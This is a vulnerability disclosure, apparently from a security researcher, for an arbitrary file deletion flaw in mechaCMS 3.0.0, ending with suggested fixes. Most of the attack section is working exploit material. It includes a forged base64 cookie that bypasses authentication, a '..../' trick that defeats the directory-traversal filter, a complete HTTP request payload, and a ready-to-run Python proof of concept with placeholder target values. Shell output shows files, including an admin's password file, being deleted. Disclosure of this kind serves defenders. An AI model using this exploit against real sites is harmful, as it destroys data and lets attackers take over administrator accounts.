Arbitrary File Deletion

The **Arbitrary File Deletion Vulnerability** was found in file:

./lot/x/panel/index/panel/type/page/page.php::13 , this file can be required by another file, thus bypassing the CMS check on the legitimacy of the user's identity, the parameter \$x is not reasonably filtered, leading to the vulnerability.

Information


Code from: https://mecha-cms.com/ → mecha-3.0.0.tar.gz

Version: mechaCMS 3.0.0


Summarize: Attackers can construct elaborate cookies that bypass mecha CMS's checks for the existence of a user's identity, attackers can also construct elaborate URIs that bypass mecha CMS's checks for the legitimacy of a user's identity. Eventually, parameters are passed through the POST method, resulting in the deletion of arbitrary files.

Steps

Construct the HTTP request and the parameters as follows. Among them, the **Path parameter** of the request line, the **POST request body parameter**, and the **cookies** are elaborated.




In ./lot/x/user/engine/plug/hook.php , there is a check for the existence of user:



To reverse the execution logic of the **cookie('user.name')** function, you can manually set the cookie so that this function returns a specified path:

When Ii4uL3kvbG9nL2Fib3V0Ig== is set as a cookie value, the resulting path is
"../y/log/about":




Because /var/www/html/mecha/lot/user/../y/log/about.page is a legal file:



When the code executes to ./lot/x/panel/index.php , \$user->exist is not empty, it will be the path specified in the above step.

Even though it's not the user's **.page** file, we can still go to panel.php.



By triggering the Hook, we can access the **route.php** file:

The *'path'* in \$_ does the string splicing in the loop and passes in the variable \$f, which is required once per loop, so

./lot/x/panel/index/panel/route/../type/page/page.php file is successfully required.

mechaCMS does employ some measures to prevent directory traversal, but this can still be bypassed:

```
193 // Prevent directory traversal attack
194 $path = strtr($path, ['../' => ""]);
```

Just use '..../' in 'path' which becomes to '.../' after being filtered.


Ultimately, in page.php, when the POST parameter is as shown, the unlink function removes any file specified in \$_POST['page']['x']

I deleted **del.abc** from a web root directory to test the effectiveness of the exploit:

```
[root@localhost mecha]# ll
total 284
-rw-r--r-- 1 apache apache
                                8 Sep 2 02:15 del.abc
drwxr-xr-x 5 apache apache
                               89 Aug 26 20:30 engine
-rw-r--r-- 1 apache apache
                             1150 Aug 27 11:29 favicon ico
-rw-r--r-- 1 apache apache
                             701 Aug 27 11:29 index.php
-rw-r--r-- 1 apache apache
                            35147 Aug 27 11:29 LICENSE
drwxr-xr-x 7 apache apache
                               78 Aug 26 20:30 lot
                              135 Aug 27 11:29 state.php
-rw-r--r-- 1 apache apache
-rw-r--r-- 1 root
                    root
                           236041 Sep 2 04:10 strace log
[root@localhost mecha]# ll
                                                  deleted
total 280
drwxr-xr-x 5 apache apache
                               89 Aug 26 20:30 engine
-rw-r--r-- 1 apache apache
                             1150 Aug 27 11:29 favicon.ico
-rw-r--r-- 1 apache apache
                             701 Aug 27 11:29 index.php
-rw-r--r-- 1 apache apache
                           35147 Aug 27 11:29 LICENSE
drwxr-xr-x 7 apache apache
                               78 Aug 26 20:30 lot
-rw-r--r-- 1 apache apache
                              135 Aug 27 11:29 state.php
-rw-r--r-- 1 root
                    root
                           236041 Sep 2 04:10 strace.log
[root@localhost mecha]# pwd
/var/www/html/mecha
```

Deleted successfully.

Once the username of mechaCMS is known (**admin** is used as an example in the picture below), anyone can take over mechaCMS by deleting the user's authentication file, which is horrible!



Just like this, pass.data is also deleted.

```
[root@localhost mecha]# ls ./lot/user/admin/ -al
total 12
drwxr-xr-x 2 apache apache 60 Sep 2 05:42 .
drwxr-xr-x 3 apache apache 37 Aug 26 20:30
-rw----- 1 apache apache 61 Aug 26 20:30 pass.data
-rw----- 1 apache apache 61 Sep 2 05:42 pass.data.bk
-rw----- 1 apache apache 19 Aug 26 20:30 time.data
[root@localhost mecha]# ls ./lot/user/admin/ -al
total 8
                                              deleted
drwxr-xr-x 2 apache apache 43 Sep 2 05:45 .
                                              successfully
drwxr-xr-x 3 apache apache 37 Aug 26 20:30 ...
-rw----- 1 apache apache 61 Sep 2 05:42 pass.data.bk
-rw----- 1 apache apache 19 Aug 26 20:30 time.data
[root@localhost mecha]#
```

Payload

HTTP Request:

```
POST
http://192.168.0.155/mecha/panel/fire/boos/....//type/page/page
HTTP/1.1
Host: 192.168.0.155
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)
Gecko/20100101 Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
age/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-
US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://192.168.0.155
DNT: 1
Connection: close
Referer:
http://192.168.0.155/mecha/panel/fire/boos/...//type/page/page
Cookie: PHPSESSID=u14i9od14jlv8puvef8grcpfhc;
*3759209392=Ii4uL3kvbG9nL2Fib3V0Ig%3D%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
data%5Bchunk%5D=0&page%5Bx%5D=%2Fvar%2Fwww%2Fhtml%2Fmecha%2Fdel.abc
&page%5Bchunk%5D=1
```

Python3 poc:

```
import requests
ip = "192.168.0.155" # change it
delfile= "/var/www/html/mecha/del.abc" # change it
url =
"http://{}/mecha/panel/fire/boos/....//type/page/page".format(ip)
headers = {
    "Host": ip,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://{}".format(ip),
    "DNT": "1",
    "Connection": "close",
    "Referer":
"http://{}/mecha/panel/fire/boos/....//type/page/page".format(ip),
    "Cookie": "PHPSESSID=u14i9od14jlv8puvef8grcpfhc;
*3759209392=Ii4uL3kvbG9nL2Fib3V0Ig%3D%3D",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i"
}
data = {
    "data[chunk]": "0",
    "page[x]": delfile,
    "page[chunk]": "1"
}
# POST requests
response = requests.post(url, headers=headers, data=data)
#status code could be 405, but the file will be deleted
successfully(Make sure you have deletion privileges!)
```

Fix method

- 1. ./lot/x/panel/index.php::152 → Additional check if \$user->exist is under
 path ./lot/user/
- 2. ./engine/fire.php::194 → Repeatedly replace the .../ string in \$path until it does not contain .../